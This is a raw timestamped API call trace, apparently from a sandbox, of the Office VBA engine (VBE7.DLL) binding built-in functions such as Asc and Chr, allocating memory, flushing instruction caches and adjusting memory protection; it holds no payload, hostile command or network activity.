ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.765] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.765] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.765] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.765] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.765] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.765] GetCurrentProcess () returned 0xffffffffffffffff [0068.765] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x53) returned 1 [0068.765] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.765] IUnknown:AddRef (This=0xb481318) returned 0x3 [0068.765] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c208 | out: ppvObject=0x17c208*=0x0) returned 0x80004002 [0068.765] ITypeInfo:RemoteGetTypeAttr (in: This=0xb481318, ppTypeAttr=0x17c1e8, pDummy=0x10 | out: ppTypeAttr=0x17c1e8, pDummy=0x10) returned 0x0 [0068.765] ITypeInfo:LocalReleaseTypeAttr (This=0xb481318) returned 0x0 [0068.765] IUnknown:AddRef (This=0xb481318) returned 0x4 [0068.765] IUnknown:Release (This=0xb481318) returned 0x3 [0068.765] IUnknown:Release (This=0xb481318) returned 0x2 [0068.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22ee6, cbMultiByte=4, lpWideCharStr=0x17c1d0, cchWideChar=5 | out: lpWideCharStr="Asc") returned 4 [0068.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22ee6, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Asc") returned 4 [0068.765] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="Asc", lHashVal=0x107521, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0xb564418, pDescKind=0x17c1dc*=1, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.765] ITypeInfo:RemoteGetTypeAttr (in: This=0xb564418, ppTypeAttr=0x17c1d0, pDummy=0x1 | out: ppTypeAttr=0x17c1d0, pDummy=0x1) returned 0x0 [0068.765] ITypeInfo:LocalReleaseTypeAttr (This=0xb564418) returned 0x0 [0068.766] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb4d32f0, cb=0x400) returned 0xb22a670 [0068.766] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca40f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x17c030 | out: ppvObject=0x17c030*=0xb564418) returned 0x0 [0068.766] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb564418, memid=1610612736, invkind=1, pFuncIndex=0x17c070 | out: pFuncIndex=0x17c070*=0x0) returned 0x0 [0068.766] ITypeInfo2:GetFuncCustData (in: This=0xb564418, index=0x0, GUID=0x7fee5cb3758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x17c088 | out: pVarVal=0x17c088*(varType=0x0, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x107521)) returned 0x0 [0068.766] IUnknown:Release (This=0xb564418) returned 0x3 [0068.766] IUnknown:AddRef (This=0xb564418) returned 0x4 [0068.766] ITypeInfo:LocalReleaseFuncDesc (This=0xb564418) returned 0x0 [0068.766] IUnknown:Release (This=0xb564418) returned 0x3 [0068.766] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c2f8 | out: ppvObject=0x17c2f8*=0x0) returned 0x80004002 [0068.766] IUnknown:AddRef (This=0xb564418) returned 0x4 [0068.766] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb4d30e0, cb=0x400) returned 0xb22aa80 [0068.766] IUnknown:Release (This=0xb564418) returned 0x3 [0068.766] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.766] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.766] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.766] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.766] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.766] IUnknown:Release (This=0xb55fe10) returned 0xa [0068.766] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.766] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.766] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.766] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb6110 [0068.766] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.766] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.766] GetCurrentProcess () returned 0xffffffffffffffff [0068.767] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x3b) returned 1 [0068.767] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.767] IUnknown:AddRef (This=0xb481318) returned 0x3 [0068.767] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c208 | out: ppvObject=0x17c208*=0x0) returned 0x80004002 [0068.767] ITypeInfo:RemoteGetTypeAttr (in: This=0xb481318, ppTypeAttr=0x17c1e8, pDummy=0x10 | out: ppTypeAttr=0x17c1e8, pDummy=0x10) returned 0x0 [0068.767] ITypeInfo:LocalReleaseTypeAttr (This=0xb481318) returned 0x0 [0068.767] IUnknown:AddRef (This=0xb481318) returned 0x4 [0068.767] IUnknown:Release (This=0xb481318) returned 0x3 [0068.767] IUnknown:Release (This=0xb481318) returned 0x2 [0068.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22f0a, cbMultiByte=4, lpWideCharStr=0x17c1d0, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0068.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22f0a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0068.767] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22f0a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0068.767] ITypeComp:RemoteBind (in: This=0xaeffdb0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22f0a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0068.767] ITypeComp:RemoteBind (in: This=0xb5603c0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22f0a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0068.767] ITypeComp:RemoteBind (in: This=0xb560960, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.767] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb) returned 0x7d9c170 [0068.767] _mbscpy_s (in: _Dst=0x7d9c170, _DstSizeInBytes=0x4, _Src=0x4b22f0a | out: _Dst=0x7d9c170) returned 0x0 [0068.767] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0068.768] strcpy_s (in: _Dst=0x17c320, _DstSize=0xb, _Src="_B_var_Chr" | out: _Dst="_B_var_Chr") returned 0x0 [0068.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17c320, cbMultiByte=11, lpWideCharStr=0x17c170, cchWideChar=11 | out: lpWideCharStr="_B_var_Chr") returned 11 [0068.768] IUnknown:AddRef (This=0xb55fe10) returned 0xb [0068.768] ITypeLib:RemoteIsName (in: This=0xb55fe10, szNameBuf="_B_var_Chr", lHashVal=0x103b5c, pfName=0x17c240, pBstrLibName=0x17c170 | out: pfName=0x17c240*=1, pBstrLibName=0x17c170) returned 0x0 [0068.768] IUnknown:Release (This=0xb55fe10) returned 0xa [0068.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Chr", cchWideChar=-1, lpMultiByteStr=0x17c320, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Chr", lpUsedDefaultChar=0x0) returned 11 [0068.768] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0068.768] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x65f0000 [0068.769] IUnknown:AddRef (This=0xb55fe10) returned 0xb [0068.769] IUnknown:Release (This=0xb55fe10) returned 0xa [0068.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x65f001e, cbMultiByte=11, lpWideCharStr=0x17c1d0, cchWideChar=12 | out: lpWideCharStr="_B_var_Chr") returned 11 [0068.769] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="_B_var_Chr", lHashVal=0x103b5c, wFlags=0x3, ppTInfo=0x17c188, pDescKind=0x17c19c, ppFuncDesc=0x17c1a0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c188*=0xb564418, pDescKind=0x17c19c*=1, ppFuncDesc=0x17c1a0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.769] ITypeInfo:RemoteGetTypeAttr (in: This=0xb564418, ppTypeAttr=0x17c190, pDummy=0x1 | out: ppTypeAttr=0x17c190, pDummy=0x1) returned 0x0 [0068.769] ITypeInfo:LocalReleaseTypeAttr (This=0xb564418) returned 0x0 [0068.769] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca40f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x17bff0 | out: ppvObject=0x17bff0*=0xb564418) returned 0x0 [0068.769] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb564418, memid=1610612738, invkind=1, pFuncIndex=0x17c030 | out: pFuncIndex=0x17c030*=0x2) returned 0x0 [0068.769] ITypeInfo2:GetFuncCustData (in: This=0xb564418, index=0x2, GUID=0x7fee5cb3758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x17c048 | out: pVarVal=0x17c048*(varType=0x0, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x103b5c)) returned 0x0 [0068.769] IUnknown:Release (This=0xb564418) returned 0x4 [0068.769] IUnknown:AddRef (This=0xb564418) returned 0x5 [0068.769] ITypeInfo:LocalReleaseFuncDesc (This=0xb564418) returned 0x0 [0068.769] IUnknown:Release (This=0xb564418) returned 0x4 [0068.769] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c248 | out: ppvObject=0x17c248*=0x0) returned 0x80004002 [0068.769] IUnknown:AddRef (This=0xb564418) returned 0x5 [0068.769] IUnknown:Release (This=0xb564418) returned 0x4 [0068.769] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.769] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.769] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9c170) [0068.769] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.769] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.770] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.770] IUnknown:Release (This=0xb55fe10) returned 0xb [0068.770] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.770] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.770] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.770] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.770] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.770] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.770] GetCurrentProcess () returned 0xffffffffffffffff [0068.770] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x43) returned 1 [0068.770] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.771] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17b640, pIndex=0x0 | out: ppTLib=0x17b640*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.771] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17b650, pDummy=0x0 | out: ppTLibAttr=0x17b650, pDummy=0x0) returned 0x0 [0068.771] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.771] IUnknown:Release (This=0xb55fe10) returned 0xb [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612742, invkind=1, refPtrFlags=0x17b640, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17b640, pbstrName=0x0, pwOrdinal=0x17b660 | out: pBstrDllName=0x17b640*=0x0, pbstrName=0x0, pwOrdinal=0x17b660*=0xb8d0) returned 0x0 [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17b640, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17b640, pwOrdinal=0x500000000) returned 0x0 [0068.772] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17b9a0, pIndex=0x0 | out: ppTLib=0x17b9a0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.772] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17b9b0, pDummy=0x0 | out: ppTLibAttr=0x17b9b0, pDummy=0x0) returned 0x0 [0068.772] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.772] IUnknown:Release (This=0xb55fe10) returned 0xb [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x17b9a0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17b9a0, pbstrName=0x0, pwOrdinal=0x17b9c0 | out: pBstrDllName=0x17b9a0*=0x0, pbstrName=0x0, pwOrdinal=0x17b9c0*=0xbc30) returned 0x0 [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17b9a0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17b9a0, pwOrdinal=0x500000000) returned 0x0 [0068.772] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bd90, pIndex=0x0 | out: ppTLib=0x17bd90*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.772] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bda0, pDummy=0x0 | out: ppTLibAttr=0x17bda0, pDummy=0x0) returned 0x0 [0068.772] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.772] IUnknown:Release (This=0xb55fe10) returned 0xb [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x17bd90, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bd90, pbstrName=0x0, pwOrdinal=0x17bdb0 | out: pBstrDllName=0x17bd90*=0x0, pbstrName=0x0, pwOrdinal=0x17bdb0*=0xc020) returned 0x0 [0068.772] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bd90, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bd90, pwOrdinal=0x500000000) returned 0x0 [0068.773] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb1d4e00, cb=0x192) returned 0xb62f580 [0068.773] IMalloc:Free (This=0x7fefecb5380, pv=0x7cd6150) [0068.773] GetCurrentProcess () returned 0xffffffffffffffff [0068.773] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6521, dwSize=0x8) returned 1 [0068.773] GetCurrentProcess () returned 0xffffffffffffffff [0068.773] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6520, dwSize=0x8) returned 1 [0068.773] GetCurrentProcess () returned 0xffffffffffffffff [0068.773] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1139, dwSize=0x8) returned 1 [0068.773] GetCurrentProcess () returned 0xffffffffffffffff [0068.773] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1138, dwSize=0x8) returned 1 [0068.773] GetCurrentProcess () returned 0xffffffffffffffff [0068.773] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1148, dwSize=0x2) returned 1 [0068.773] GetCurrentProcess () returned 0xffffffffffffffff [0068.773] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c119c, dwSize=0x45) returned 1 [0068.773] VirtualProtect (in: lpAddress=0x51c119c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.774] GetCurrentProcess () returned 0xffffffffffffffff [0068.774] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb63ac, dwSize=0x45) returned 1 [0068.774] VirtualProtect (in: lpAddress=0xaeb63ac, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.774] GetCurrentProcess () returned 0xffffffffffffffff [0068.774] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6429, dwSize=0x8) returned 1 [0068.775] GetCurrentProcess () returned 0xffffffffffffffff [0068.775] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6428, dwSize=0x8) returned 1 [0068.775] GetCurrentProcess () returned 0xffffffffffffffff [0068.775] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6438, dwSize=0x2) returned 1 [0068.775] GetCurrentProcess () returned 0xffffffffffffffff [0068.775] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6490, dwSize=0x5d) returned 1 [0068.775] VirtualProtect (in: lpAddress=0xaeb6490, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.777] GetCurrentProcess () returned 0xffffffffffffffff [0068.777] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6521, dwSize=0x8) returned 1 [0068.777] GetCurrentProcess () returned 0xffffffffffffffff [0068.777] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6520, dwSize=0x8) returned 1 [0068.777] GetCurrentProcess () returned 0xffffffffffffffff [0068.777] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6530, dwSize=0x2) returned 1 [0068.777] GetCurrentProcess () returned 0xffffffffffffffff [0068.777] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb65fc, dwSize=0x55) returned 1 [0068.777] VirtualProtect (in: lpAddress=0xaeb65fc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.777] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.777] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0068.778] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0068.788] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c61) returned 1 [0068.788] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.788] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x278) returned 0x7fee5a6d6f0 [0068.788] GetCurrentProcess () returned 0xffffffffffffffff [0068.788] FlushInstructionCache 